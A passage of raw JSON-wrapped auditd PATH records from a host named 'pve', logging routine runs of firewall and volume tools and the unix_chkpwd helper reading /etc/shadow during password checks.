name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964685340,"@rawstring":"node=pve type=PATH msg=audit(1781964685.340:62152): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964685337,"@rawstring":"node=pve type=PATH msg=audit(1781964685.337:62151): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964685337,"@rawstring":"node=pve type=PATH msg=audit(1781964685.337:62151): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964685336,"@rawstring":"node=pve type=PATH msg=audit(1781964685.336:62150): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964685336,"@rawstring":"node=pve type=PATH msg=audit(1781964685.336:62150): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964685335,"@rawstring":"node=pve type=PATH msg=audit(1781964685.335:62149): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964685331,"@rawstring":"node=pve type=PATH msg=audit(1781964685.331:62148): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964685331,"@rawstring":"node=pve type=PATH msg=audit(1781964685.331:62148): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964685331,"@rawstring":"node=pve type=PATH msg=audit(1781964685.331:62148): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964685325,"@rawstring":"node=pve type=PATH msg=audit(1781964685.325:62147): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964685325,"@rawstring":"node=pve type=PATH msg=audit(1781964685.325:62147): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964685318,"@rawstring":"node=pve type=PATH msg=audit(1781964685.318:62146): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964685318,"@rawstring":"node=pve type=PATH msg=audit(1781964685.318:62146): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964685314,"@rawstring":"node=pve type=PATH msg=audit(1781964685.314:62145): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964685314,"@rawstring":"node=pve type=PATH msg=audit(1781964685.314:62145): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964685308,"@rawstring":"node=pve type=PATH msg=audit(1781964685.308:62144): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964685308,"@rawstring":"node=pve type=PATH msg=audit(1781964685.308:62144): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964685302,"@rawstring":"node=pve type=PATH msg=audit(1781964685.302:62143): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964685302,"@rawstring":"node=pve type=PATH msg=audit(1781964685.302:62143): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964685293,"@rawstring":"node=pve type=PATH msg=audit(1781964685.293:62142): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964685293,"@rawstring":"node=pve type=PATH msg=audit(1781964685.293:62142): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964685293,"@rawstring":"node=pve type=PATH msg=audit(1781964685.293:62141): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964685293,"@rawstring":"node=pve type=PATH msg=audit(1781964685.293:62140): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964685281,"@rawstring":"node=pve type=PATH msg=audit(1781964685.281:62139): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964685281,"@rawstring":"node=pve type=PATH msg=audit(1781964685.281:62139): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964685281,"@rawstring":"node=pve type=PATH msg=audit(1781964685.281:62138): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964685281,"@rawstring":"node=pve type=PATH msg=audit(1781964685.281:62137): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964684789,"@rawstring":"node=pve type=PATH msg=audit(1781964684.789:62136): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964684789,"@rawstring":"node=pve type=PATH msg=audit(1781964684.789:62136): item=0 name=\"/sbin/lvs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964684762,"@rawstring":"node=pve type=PATH msg=audit(1781964684.762:62135): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964684762,"@rawstring":"node=pve type=PATH msg=audit(1781964684.762:62135): item=0 name=\"/sbin/vgs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964680271,"@rawstring":"node=pve type=PATH msg=audit(1781964680.271:62134): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964680271,"@rawstring":"node=pve type=PATH msg=audit(1781964680.271:62134): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964680271,"@rawstring":"node=pve type=PATH msg=audit(1781964680.271:62133): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964680270,"@rawstring":"node=pve type=PATH msg=audit(1781964680.270:62132): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964680259,"@rawstring":"node=pve type=PATH msg=audit(1781964680.259:62131): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964680259,"@rawstring":"node=pve type=PATH msg=audit(1781964680.259:62131): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964680259,"@rawstring":"node=pve type=PATH msg=audit(1781964680.259:62130): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964680259,"@rawstring":"node=pve type=PATH msg=audit(1781964680.259:62129): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964680090,"@rawstring":"node=pve type=PATH msg=audit(1781964680.090:62127): item=0 name=\"/etc/shadow\" inode=131896 dev=fc:01 mode=0100640 ouid=0 ogid=42 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964680087,"@rawstring":"node=pve type=PATH msg=audit(1781964680.087:62126): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964680087,"@rawstring":"node=pve type=PATH msg=audit(1781964680.087:62126): item=0 name=\"/usr/sbin/unix_chkpwd\" inode=265456 dev=fc:01 mode=0102755 ouid=0 ogid=42 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964680049,"@rawstring":"node=pve type=PATH msg=audit(1781964680.049:62124): item=0 name=\"/etc/shadow\" inode=131896 dev=fc:01 mode=0100640 ouid=0 ogid=42 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964680047,"@rawstring":"node=pve type=PATH msg=audit(1781964680.047:62123): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964680047,"@rawstring":"node=pve type=PATH msg=audit(1781964680.047:62123): item=0 name=\"/usr/sbin/unix_chkpwd\" inode=265456 dev=fc:01 mode=0102755 ouid=0 ogid=42 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964680008,"@rawstring":"node=pve type=PATH msg=audit(1781964680.008:62122): item=0 name=\"/etc/shadow\" inode=131896 dev=fc:01 mode=0100640 ouid=0 ogid=42 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964680006,"@rawstring":"node=pve type=PATH msg=audit(1781964680.006:62121): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964680006,"@rawstring":"node=pve type=PATH msg=audit(1781964680.006:62121): item=0 name=\"/usr/sbin/unix_chkpwd\" inode=265456 dev=fc:01 mode=0102755 ouid=0 ogid=42 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964675289,"@rawstring":"node=pve type=PATH msg=audit(1781964675.289:62120): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964675289,"@rawstring":"node=pve type=PATH msg=audit(1781964675.289:62120): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964675286,"@rawstring":"node=pve type=PATH msg=audit(1781964675.286:62119): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964675286,"@rawstring":"node=pve type=PATH msg=audit(1781964675.286:62119): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964675285,"@rawstring":"node=pve type=PATH msg=audit(1781964675.285:62118): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964675285,"@rawstring":"node=pve type=PATH msg=audit(1781964675.285:62118): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964675285,"@rawstring":"node=pve type=PATH msg=audit(1781964675.285:62117): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964675281,"@rawstring":"node=pve type=PATH msg=audit(1781964675.281:62116): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964675281,"@rawstring":"node=pve type=PATH msg=audit(1781964675.281:62116): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964675281,"@rawstring":"node=pve type=PATH msg=audit(1781964675.281:62116): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964675276,"@rawstring":"node=pve type=PATH msg=audit(1781964675.276:62115): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964675276,"@rawstring":"node=pve type=PATH msg=audit(1781964675.276:62115): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964675270,"@rawstring":"node=pve type=PATH msg=audit(1781964675.270:62114): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964675270,"@rawstring":"node=pve type=PATH msg=audit(1781964675.270:62114): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964675264,"@rawstring":"node=pve type=PATH msg=audit(1781964675.264:62113): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964675264,"@rawstring":"node=pve type=PATH msg=audit(1781964675.264:62113): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964675257,"@rawstring":"node=pve type=PATH msg=audit(1781964675.257:62112): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964675257,"@rawstring":"node=pve type=PATH msg=audit(1781964675.257:62112): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964675252,"@rawstring":"node=pve type=PATH msg=audit(1781964675.252:62110): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964675252,"@rawstring":"node=pve type=PATH msg=audit(1781964675.252:62110): item=0 name=\"/sbin/ebtables-restore\" inode=274520 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964675249,"@rawstring":"node=pve type=PATH msg=audit(1781964675.249:62109): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964675249,"@rawstring":"node=pve type=PATH msg=audit(1781964675.249:62109): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964675249,"@rawstring":"node=pve type=PATH msg=audit(1781964675.249:62108): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964675249,"@rawstring":"node=pve type=PATH msg=audit(1781964675.249:62107): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964675246,"@rawstring":"node=pve type=PATH msg=audit(1781964675.246:62106): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964675246,"@rawstring":"node=pve type=PATH msg=audit(1781964675.246:62106): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964675241,"@rawstring":"node=pve type=PATH msg=audit(1781964675.241:62105): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964675241,"@rawstring":"node=pve type=PATH msg=audit(1781964675.241:62105): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964675241,"@rawstring":"node=pve type=PATH msg=audit(1781964675.241:62104): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964675241,"@rawstring":"node=pve type=PATH msg=audit(1781964675.241:62104): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964675241,"@rawstring":"node=pve type=PATH msg=audit(1781964675.241:62103): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964675241,"@rawstring":"node=pve type=PATH msg=audit(1781964675.241:62102): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964675236,"@rawstring":"node=pve type=PATH msg=audit(1781964675.236:62101): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964675236,"@rawstring":"node=pve type=PATH msg=audit(1781964675.236:62101): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964675231,"@rawstring":"node=pve type=PATH msg=audit(1781964675.231:62100): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964675231,"@rawstring":"node=pve type=PATH msg=audit(1781964675.231:62100): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964675226,"@rawstring":"node=pve type=PATH msg=audit(1781964675.226:62099): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964675226,"@rawstring":"node=pve type=PATH msg=audit(1781964675.226:62099): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964675219,"@rawstring":"node=pve type=PATH msg=audit(1781964675.219:62098): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964675219,"@rawstring":"node=pve type=PATH msg=audit(1781964675.219:62098): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964675213,"@rawstring":"node=pve type=PATH msg=audit(1781964675.213:62097): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964675213,"@rawstring":"node=pve type=PATH msg=audit(1781964675.213:62097): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964675210,"@rawstring":"node=pve type=PATH msg=audit(1781964675.210:62096): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964675210,"@rawstring":"node=pve type=PATH msg=audit(1781964675.210:62096): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964675206,"@rawstring":"node=pve type=PATH msg=audit(1781964675.206:62095): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964675206,"@rawstring":"node=pve type=PATH msg=audit(1781964675.206:62095): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964675205,"@rawstring":"node=pve type=PATH msg=audit(1781964675.205:62094): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 